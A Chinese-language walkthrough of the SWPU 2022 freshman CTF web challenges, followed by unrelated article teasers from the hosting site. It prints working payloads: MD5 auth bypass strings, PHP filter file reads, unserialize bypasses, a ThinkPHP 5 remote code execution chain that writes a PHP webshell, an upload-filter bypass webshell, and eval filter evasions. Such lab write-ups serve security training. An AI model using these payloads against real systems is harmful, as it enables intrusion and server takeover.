SWPU 2022 新生赛--web题

奇妙的MD5

进入靶场

然我们输入一个特殊的字符串,然后我到处翻了翻,发现有提示

在MD5中有两个特殊的字符串

0e215962017       //MD5加密后弱比较等于自身
ffifdyop          //MD5加密后变成万能密码

这里明显就是万能密码了

输入之后就来到了这个页面

源码里面就有想要的线索

<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){;
-->

这个就是简单的MD5弱比较

输入?x=240610708&y=s878926199a即可

输入之后又是一个代码审计,这个就是强比较了,数组绕过即可

ez_ez_php

进入靶场

一个简单的代码审计

这个代码的意思是说前三个字符必须要是php

那就用php伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

先进行base64解密

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
​
​
echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";

解密出来是这个

然后提示说real_flag_is_in_'flag',那么payload

?file=php://filter/read=convert.base64-encode/resource=flag

base64解码

NSSCTF{4be155fb-6428-4f0c-ae04-4adc2cb1199a}

ez_ez_unserialize

进入靶场

这个反序列化题主要是如何绕过__wake魔法函数

先将这个序列化

__wake魔法函数的触发条件是在进行反序列化之前触发,因此只需要修改参数就能绕过

payload

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_rce

这个题目没什么好评价的,漏洞复现而已

先进入靶场

目录扫描之后,发现robots.txt文件

进入之后发现新大陆

然后来到这个页面

然后搜索ThinkPHP V5漏洞复现即可

payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami            //这个指令可以用来命令执行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
//这个指令可以用来写马

连上蚁剑后

flag在/nss/ctf/flag/flag

Ez_upload

进入靶场

有一个文件上传框

首先,直接上传php文件

上传png文件并抓个包试试

"你上传的什么鬼?",这个应该是对Content-Type做了过滤,或者对内容做了过滤,先把内容全部删掉测试Content-Type

也传不上去,一顿测试之后发现filename=muma.png并且Content-Type为image/jpeg才能上传

那么将一句话木马传进去

又出现了"换其他类型",那就是对内容做了过滤,尝试之后发现对<?做了过滤,payload

<script language="php">eval($_POST['cmd']);</script>

上传成功

但是怎么才能让这个执行呢,后缀名不能为ph,那么就可以传.hta文件,上传之后用蚁剑连接muma.png即可

然后在终端输入env即可出flag

funny_php

进入靶场

一上来就是长串的代码审计

但是看了一会发现这个可以分几部分,那么就一部分一部分的解题

第一部分

if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}} 

这个地方需要num小于等于3并且大于999999999,这个地方用科学计数法绕过就行

payload

?num=3e9

第二部分

if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}} 

这个地方需要让str的值为NSSCTF,但是又将NSSCTF代替为空,双写绕过即可

payload

?str=NSSNSSCTFCTF

第三部分

if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}} 

这个代码看着很长,其实就是个弱比较,只要全是字符串就行

payload

md5_1=QNKCDZO&md5_2=240610708

funny_web

首先进入靶场

这个属于一个签到题

账号:NSS

密码:2122693401

进来之后简单源码审计,很简单的过滤方法

输入?num=12345a即可

js_sign

进入靶场

只有一个框,题目提示说看js文件

这里已经出现flag了,将这串数字去掉空格之后变为

3343431344215434452124331421311122125444113513341415

解码之后

flag就出来了

最终答案

NSSCTF{fyoufindflagbytapcode}

numgame

进入靶场

我第一想法就是把这个点到20,但是加到16之后再加就直接跳到-20了,这个做法明显不太理智,然后我想查看源代码,然后可恶的出题人把右键和ctrl+u都给ban了

那就用view-source大法

view-source:http://node5.anna.nssctf.cn:21933/

查看js文件

在nssctf里面有一个base64加密后的文件

解密之后为NsScTf.php

进入这个页面

这里过滤了n和c,但没有大小写过滤,先访问hint2.php吧,题目提示与get相似的另一种请求,那应该就是post了

ps:在编程语言中,双冒号运算符(::)可以用来访问类的成员,包括静态成员和非静态成员

因此,以post的方式执行命令就行

payload

p=nss::ctf      //表示访问nss类下的ctf成员变量

执行之后他告诉我类是nss2,那就改一下payload即可

p=nss2::ctf

执行之后查看源码就能得到flag

webdog1__start

这个题目还是挺有意思的,有许多的提示隐藏了

进入靶场

这里有两种方向,查看源码,又或者去扫目录,首先走第一步,源码里面有东西

if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first))

MD5加密后与原来相同

那就是0e215962017

输入?web=0e215962017

来到start.php页面

将里面的所有地方都点过了,并没有什么有用的地方,但网络层给了提示

进来这个页面后同样网络层又给了提示

进入F1l1l1l1l1lag.php目录内,来到了最终的地方

进行源码审计,利用点在eval,但是将空格和flag字符过滤了,空格可以用%09过滤,flag可以用通配符过滤

payload

?get=system('tac%09/f*');

第二种方法就是扫目录

就可以跳过前两步,直接进入robots.txt找答案了

里面是乱码,乱码修复即可

后面的步骤都是一样了

1z_unserialize

进入靶场

这个是非常简单的反序列化了

构造php

输出结果为

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

ls的结果出来了,修改参数找flag就行,payload

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"tac /flag";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/67063.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PyQt6医疗多模态大语言模型(MLLM)实用系统框架构建初探(上.文章部分)

一、引言 1.1 研究背景与意义 在数字化时代,医疗行业正经历着深刻的变革,智能化技术的应用为其带来了前所未有的发展机遇。随着医疗数据的指数级增长,传统的医疗诊断和治疗方式逐渐难以满足现代医疗的需求。据统计,全球医疗数据量预计每年以 48% 的速度增长,到 2025 年将…

怎么样把pdf转成图片模式(不能复制文字)

贵但好用的wps&#xff0c; 转换——转为图片型pdf —————————————————————————————————————————— 转换前&#xff1a; 转换后&#xff1a; 肉眼可见&#xff0c;模糊了&#xff0c;且不能复制。 其他免费办法&#xff0c;参考&…

C# OpenCV机器视觉:利用CNN实现快速模板匹配

在一个阳光灿烂的周末&#xff0c;阿强正瘫在沙发上&#xff0c;百无聊赖地换着电视频道。突然&#xff0c;一则新闻吸引了他的注意&#xff1a;某博物馆里一幅珍贵的古画离奇失踪&#xff0c;警方怀疑是被一伙狡猾的盗贼偷走了&#xff0c;现场只留下一些模糊不清的监控画面&a…

智能电动汽车系列 --- 智能汽车向车载软件转型

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 简单,单纯,喜欢独处,独来独往,不易合同频过着接地气的生活,除了生存温饱问题之外,没有什么过多的欲望,表面看起来很高冷,内心热情,如果你身…

YOLOv8改进,YOLOv8检测头融合DynamicHead,并添加小目标检测层(四头检测),适合目标检测、分割等,全网独发

摘要 作者提出一种新的检测头,称为“动态头”,旨在将尺度感知、空间感知和任务感知统一在一起。如果我们将骨干网络的输出(即检测头的输入)视为一个三维张量,其维度为级别 空间 通道,这样的统一检测头可以看作是一个注意力学习问题,直观的解决方案是对该张量进行全自…

GitLab配置免密登录和常用命令

SSH 免密登录 Windows免密登录 删除现有Key 访问目录&#xff1a;C:\Users\Administrator\ .ssh&#xff0c;删除公钥&#xff1a;id_rsa.pub &#xff0c;私钥&#xff1a;id_rsa 2.生成.ssh 秘钥 运行命令生成.ssh 秘钥目录&#xff08; ssh-keygen -t rsa -C xxxxxx126.…

VUE的安装

要用vue必须要先安装nodejs nodejs的安装及环境配置 1.下载安装包 下载地址&#xff1a; https://nodejs.org/zh-cn/download/ 2.安装程序 下载完成后&#xff0c;双击安装包开始安装 ①点击next ②点同意、next ③默认路径是C:\Program Files\nodejs\&#xff0c;可修改…

chrome插件:网页图片高清下载

前置条件&#xff1a; 安装有chrome谷歌浏览器的电脑 使用步骤&#xff1a; 1.打开chrome扩展插件 2.点击管理扩展程序 3.加载已解压的扩展程序 4.选择对应文件夹 5.成功后会出现一个扩展小程序 6.点击对应小程序 7.输入需要访问的网址&#xff0c;点击扩展插件即可进行图片…

[操作系统] 进程地址空间管理

虚拟地址空间的初始化 缺页中断 缺页中断的概念 缺页中断&#xff08;Page Fault Interrupt&#xff09; 是指当程序访问的虚拟地址在页表中不存在有效映射&#xff08;即该页未加载到内存中&#xff09;时&#xff0c;CPU 会发出一个中断信号&#xff0c;请求操作系统加载所…

HTML5 Web Worker 的使用与实践

引言 在现代 Web 开发中&#xff0c;用户体验是至关重要的。如果页面在执行复杂计算或处理大量数据时变得卡顿或无响应&#xff0c;用户很可能会流失。HTML5 引入了 Web Worker&#xff0c;它允许我们在后台运行 JavaScript 代码&#xff0c;从而避免阻塞主线程&#xff0c;保…

适用于IntelliJ IDEA 2024.1.2部署Tomcat的完整方法,以及笔者踩的坑,避免高血压,保姆级教程

Tips:创建部署Tomcat直接跳转到四 一、软件准备 笔者用的是IntelliJ IDEA 2024.1.2和Tomcat 8.5。之前我使用的是Tomcat 10&#xff0c;但遇到了许多问题。其中一个主要问题是需要使用高于1.8版本的JDK&#xff0c;为此我下载了新的JDK版本&#xff0c;但这又引发了更多的兼容…

微信阅读网站小程序的设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…

汽车免拆诊断案例 | 2007 款日产天籁车起步加速时偶尔抖动

故障现象  一辆2007款日产天籁车&#xff0c;搭载VQ23发动机&#xff08;气缸编号如图1所示&#xff0c;点火顺序为1-2-3-4-5-6&#xff09;&#xff0c;累计行驶里程约为21万km。车主反映&#xff0c;该车起步加速时偶尔抖动&#xff0c;且行驶中加速无力。 图1 VQ23发动机…

对神经网络基础的理解

目录 一、《python神经网络编程》 二、一些粗浅的认识 1&#xff09; 神经网络也是一种拟合 2&#xff09;神经网络不是真的大脑 3&#xff09;网络构建需要反复迭代 三、数字图像识别的实现思路 1&#xff09;建立一个神经网络类 2&#xff09;权重更新的具体实现 3&am…

PAT甲级-1024 Palindromic Number

题目 题目大意 一个非回文数&#xff0c;加上它的翻转数所得的和&#xff0c;进行k次&#xff0c;有可能会得到一个回文数。给出一个数n&#xff0c;限制相加次数为k次&#xff0c;如果小于k次就得到回文数&#xff0c;那么输出该回文数和相加的次数&#xff1b;如果进行k次还…

appium自动化环境搭建

一、appium介绍 appium介绍 appium是一个开源工具、支持跨平台、用于自动化ios、安卓手机和windows桌面平台上面的原生、移动web和混合应用&#xff0c;支持多种编程语言(python&#xff0c;java&#xff0c;Ruby&#xff0c;Javascript、PHP等) 原生应用和混合应用&#xf…

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.1 从零搭建NumPy环境:安装指南与初体验

1. 从零搭建NumPy环境&#xff1a;安装指南与初体验 NumPy核心能力图解&#xff08;架构图&#xff09; NumPy 是 Python 中用于科学计算的核心库&#xff0c;它提供了高效的多维数组对象以及用于处理这些数组的各种操作。NumPy 的核心能力可以概括为以下几个方面&#xff1a…

【SpringBoot教程】Spring Boot + MySQL + HikariCP 连接池整合教程

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 在前面一篇文章中毛毛张介绍了SpringBoot中数据源与数据库连接池相关概念&#xff0c;今天毛毛张要分享的是关于SpringBoot整合HicariCP连接池相关知识点以及底层源码…

Java进阶(一)

目录 一.Java注解 什么是注解&#xff1f; 内置注解 元注解 二.对象克隆 什么是对象克隆? 为什么用到对象克隆 三.浅克隆深克隆 一.Java注解 什么是注解&#xff1f; java中注解(Annotation)又称java标注&#xff0c;是一种特殊的注释。 可以添加在包&#xff0c;类&…

即梦(Dreamina)技术浅析(二):后端AI服务

1. 文本处理(Text Processing) 1.1 功能概述 文本处理模块的主要任务是将用户输入的文字提示词转换为机器可以理解的向量表示。这一过程包括分词、词嵌入和语义编码,旨在捕捉文本的语义信息,为后续的图像和视频生成提供准确的指导。 1.2 关键技术 1.分词(Tokenization…